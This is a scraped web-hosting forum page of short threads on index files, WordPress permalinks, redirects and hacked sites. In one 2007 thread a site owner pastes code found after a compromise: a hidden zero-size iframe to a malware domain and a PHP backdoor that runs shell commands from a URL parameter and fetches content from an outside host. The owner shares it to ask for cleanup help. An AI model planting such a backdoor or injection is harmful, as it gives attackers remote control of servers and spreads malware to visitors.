PATHINFO, How To Get Rid Of Index.php In Wordpress Permalinks
Jul 25, 2009
I don't know what's wrong with the server where the wordpress site is hosted. But in the permalinks, index.php must be included in the permalinks (more information here:[url]
What can be fixed in the server so that wordpress permalinks will work correctly?
View 2 Replies
ADVERTISEMENT
Apr 15, 2015
I've searched and tried every solution to this I could find. When Plesk 12.1 is configured to process php by nginx, I just can't get Wordpress permalinks to work. If I switch permalinks to default the pages will appear, but if I use something like day and date for the permalinks I get a Nginx 404 error. Of course if I'm just using Apache and it can read the .htaccess file everything works fine. I think part of the reason the solutions I find won't work is my main site is static with the wordpress blog in the /blog/ subdirectory. What would I add in Plesk to get permalinks to work correctly with wordpress in a /blog subdirectory. I'd also like to get WP Super cache working as well if possible.
View 1 Replies
View Related
Sep 8, 2007
My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.
I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).
Going back on track, all files named "%index%" were hacked.
-I found a index.txt file with links to obscure sites.
The code was written at bottom of the all index.html files: iframe code
Code:
><!-- ~ --><iframe src="http://googletraff.com/in.cgi?default" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code
PHP Code:
<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
");$wr = 0;while(!feof($socket)){ $temp = fgets($socket); if(eregi("<",$temp)) { $wr = 1; } if($wr) { $page .= $temp; } } fclose($socket); return $page; } ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...
View 5 Replies
View Related
Jun 23, 2008
Have a website that is making use of both index.html and index.php files as the main page. How can I achieve either through .htaccess or similar (shared hosting) to have the users directed to index.html and not load the index.php first off.
View 1 Replies
View Related
Nov 1, 2009
One of my friend bought a hosting from the company where we already had hosting. They have good uptime and never showed any server problems. Reliable and cheap that's why i suggested this to him.
Coming to the issue. The panel they are giving is plesk 9.2. Recently he has installed a wp blog over the domain name. When he tried to edit the permanent link structure its popping out an error. like 404 not found. As the same issue occured before to me, I suggested him to create a .htaccess file and change the permissions. He did both and again the same results. So I though it may be because of the windows hosting problem and told to check with iis forums. I think this problem is explained well over there. But don't know why still the problem is still there.
and what is the web.config file?
View 3 Replies
View Related
Mar 6, 2007
I am implementing one of my clients new sites ( the old site is written in plain html), and their new site uses ASP on every page.
The problem is that their old index.htm page has a pagerank of 4 which we want to keep.
And I have been advised that i need to do a 301 redirect to pass that PageRank onto their new index.asp page.
The other problem is that they are on a shared IIS hosting solution (with FastHosts), and obviously I don;t have total control over the server so cannot get into the root control panel.
My question is, whats the IIS alternative to .htaccess, which can be implemented on a limite-controlled IIS server?
JavaScript, I have heard is completely out the question
View 3 Replies
View Related
Mar 27, 2007
I recompiled apache and php due to some problems. Now apache and php is running and I have a VB forum running fine. However, one folder has a PHP page named index.php when I type its URL I get it downloaded and it is not executed directly from the server.
when I add "?" to the end of the URL[url]" it runs with no problems!
Is it something wrong with httpd.conf or what?
View 6 Replies
View Related
Mar 9, 2007
I have a client who's index will not come up when using "www". Of course I have checked the dns severs and all is well.
View 4 Replies
View Related
Aug 28, 2009
I created the subdomain for my site www.mysite/myclientpotentialdomain, with the only purpose to show my client the mock up of his home page using his potential domain name.
The file is named index.htm and consist only the mock up image.
The problem that I encountered is when I refresh the browser (Firefox) the image disappears. I can see the alt tag, but the picture is gone. Works fine in IE though.
The only difference I have noticed that after the refreshment,
View 13 Replies
View Related
Sep 30, 2009
how to display the time and date of a file that was added to an Apache file directory on a cPanel server?
It used display the time and date back in the 1.3 and 2.0 days, but it doesn't on the 2.2 versions of Apache.
View 2 Replies
View Related
Jul 23, 2009
i have hosted my website on dadicated windows hosting with rackspace. my webiste default page was index.aspx. now i have created new home page with name the of index.html and uploaded this page to server and deleted old home page index.aspx but my new index.html page not showing when i try to open open my website www.example.com but its opening when i try with www.example.com/index.html.
View 4 Replies
View Related
Jan 14, 2008
I'm working with HELM panel
I have deleted the index.htm file and uploaded another one
the first one had some images <img>, now
1. when i request the main page [url] the old index file is still appearing!
2. the images that was in the <img> tags of the old index file can't be deleted or renamed : can't be accessed at all.
View 3 Replies
View Related
Mar 6, 2008
in many sites in my server torjan in index.html
in <ifram>
how to save my server from that .js torjan
and i need to ask about other thing this torjan can chang any this in backups
View 9 Replies
View Related
Jun 12, 2007
after week when my server upgrade the cpanel automatic i got infected in all
index files like index.html and index.php and index.asp and any index with any
extinstion and this is the code in all files
Code:
<iframe src=[url]
and when i delete this code it come again in all index files
i am in really trouble with my clients and i want to know how can i fix this
thing and never come back again
View 14 Replies
View Related
Dec 4, 2007
One of my customer's domain name's index page is hacked with the pharmacy kind of URLs all over on the homepage. Anyone has idea about this? You can see the URL at
[url]
View 3 Replies
View Related
Sep 10, 2006
I was working on WHM of my server sudeenly i saw CPU load was increasing and till when i understand CPU load was on peak of 160%. I tried to find out CPU overloading sites and found that my 4 populer sites were creating problem. I stopped apache and suspanded all 4 sites and rebooted server. After forceful server reboot i found that load was getting normal to 2.5%. I unsuspanded one of 2 forums but even i unsuspanded that forum was not opening (IPB). I logged into ftp suspecting some problem i found that index.php was only 45bytes i have opend index.php and found this text inside .....
View 3 Replies
View Related
Jan 15, 2008
I am using WHMCS and need to upload an index.php per server I wish to monitor. How do I go about doing this so that I can view the page via this method
[url]
I'm using cpanel / centos
View 6 Replies
View Related
Nov 8, 2008
How to change index manager defaults?
Whenever I set up a new account
View 4 Replies
View Related
Jun 24, 2008
I had an untapped image upload site on my server which i forgot. Some guys or children upload something noxious and neutralize all the "index.php". This was a hack attempt with SSH.
We noticed that, close this account delete uploaded files. But there is a quirky problem. Any of index.php's isn't working after this attempt. Index file is working after change its name, example "mindex.php".
We updated all the services, rebuild apache but don't working. We can't use any index.php on the server.
Additionally, there are 34 possible trojans appear on the server. I tried to delete them with BitDefender but can't do that.( I checked that WHM / Scan for Trojan Horses )
View 7 Replies
View Related
Aug 3, 2008
Am suffering from a hacker every time, he changes my client’s index (index..Php).
I changed FTP log, but still, it seems doesn’t work!
My simple question: How to protect the index page from hackers?
View 4 Replies
View Related
Oct 26, 2008
I have subdomain, the index file was hacked
Who know how to protect the Index files with cpanel
View 8 Replies
View Related
Dec 4, 2008
I have multiple demo websites under single domain. and in each folder default page is as index.html
few days back i have observed a blank space on each index.html. when i check the code then i have found an auto generated code just after the body tag in index.html. the code is as follows
<div style="visibility:hidden"><iframe src="[url]
Also I am getting Question marks (?) in some blank spaces in HTML preview.
I have removed it but it again appears after some time. I have contacted to server support but they said that this is SQL Injection attack but there is no database connectivity involved in any of my websites.
View 12 Replies
View Related
Jul 15, 2008
when i oppened my site i found that there was a code in the index i don't know from what but when i earsed it it returned again ...
View 0 Replies
View Related
Jul 7, 2007
I was using Apache's <Directory> directive to modify the way the default indexes look.
I recently moved from openSUSE to Windows Server 2003 and copied over the Directory code but it no longer works.
Code:
<Directory />
Options All
AllowOverride All
IndexOptions SuppressHTMLPreamble SuppressDescription FancyIndexing VersionSort FoldersFirst IgnoreCase IconsAreLinks NameWidth=60
HeaderName /!_images/html/header.shtml
ReadmeName /!_images/html/footer.shtml
AddIcon /!_images/icons/application.png .exe
AddIcon /!_images/icons/application_xp_terminal.png .sh
AddIcon /!_images/icons/book_open.png .pdf
AddIcon /!_images/icons/music.png .mp3 .ogg
AddIcon /!_images/icons/photo.png .jpg .jpeg .png .bmp .gif
AddIcon /!_images/icons/television.png .avi .wmv .xvid .divx .mpg .mpeg
AddIcon /!_images/icons/script_code_red.png .php .php4 .php5 .js
AddIcon /!_images/icons/ruby.png .ruby .rb
AddIcon /!_images/icons/folder.png ^^DIRECTORY^^
DefaultIcon /!_images/icons/page_white.png
IndexIgnore query.txt !_images !_Jason !_media2 lost+found Modules _images login torrentflux phpinfo.php Thumbs.db tmp.txt phpmyadmin sandbox test.txt test.php _index.php robots.txt System Volume Information RECYCLER
</Directory>
It doesn't load the headerfile or the readme file (they exist) and it uses the Default Icon for all files
View 10 Replies
View Related
Feb 28, 2007
to change the default document on my Web server from index to news.php, is there a simple process for this please?
My server is Linux based and my control panel is cPanelX. I've had a look around the control panel but couldn't find anything to help me.
View 4 Replies
View Related
Feb 28, 2014
I get many GET requests that have auto-index like sort commands attached.
View 6 Replies
View Related
Apr 29, 2009
I found some of sites that use thre domains to get google indexed them three times more, I don;t think it is because of parked domains.
3 domains go to "same" site(s), maybe they just look the same by using mirrors?
How to achieve this then?
We certainly wish we could get indexed multi-times too.
View 0 Replies
View Related
Jul 18, 2009
How do I have mydomain.com display at the main IP address as well as the nameserver IE server01.mydomain.com?
now all that is displayed there is the Apache page
View 5 Replies
View Related
Apr 25, 2008
to found all of index.html files in my /home directory.
how can I found these files?
like this:
/home/a/public_html/index.html
/home/a/public_html/folder/index.html
/home/c/index.html
View 2 Replies
View Related
Apr 8, 2008
how to copy all filename with the word 'index' from src to dest?
This include index file within directories as well..
this doesn't seem to work. It only copy index.html in public_html .. and stop there..
Quote:
cp -Rf /backup/userA/public_html/*index* /home/userA/public_html/
View 8 Replies
View Related
Jul 9, 2008
I've been having an issue with one of my sites were someone has been adding malicious code to the index file. I don't know what has been compromised and am looking for a way to stop this.
I have a dedicated server have already upgraded MySQL to the latest version as I though that might work but it hasn't.
View 8 Replies
View Related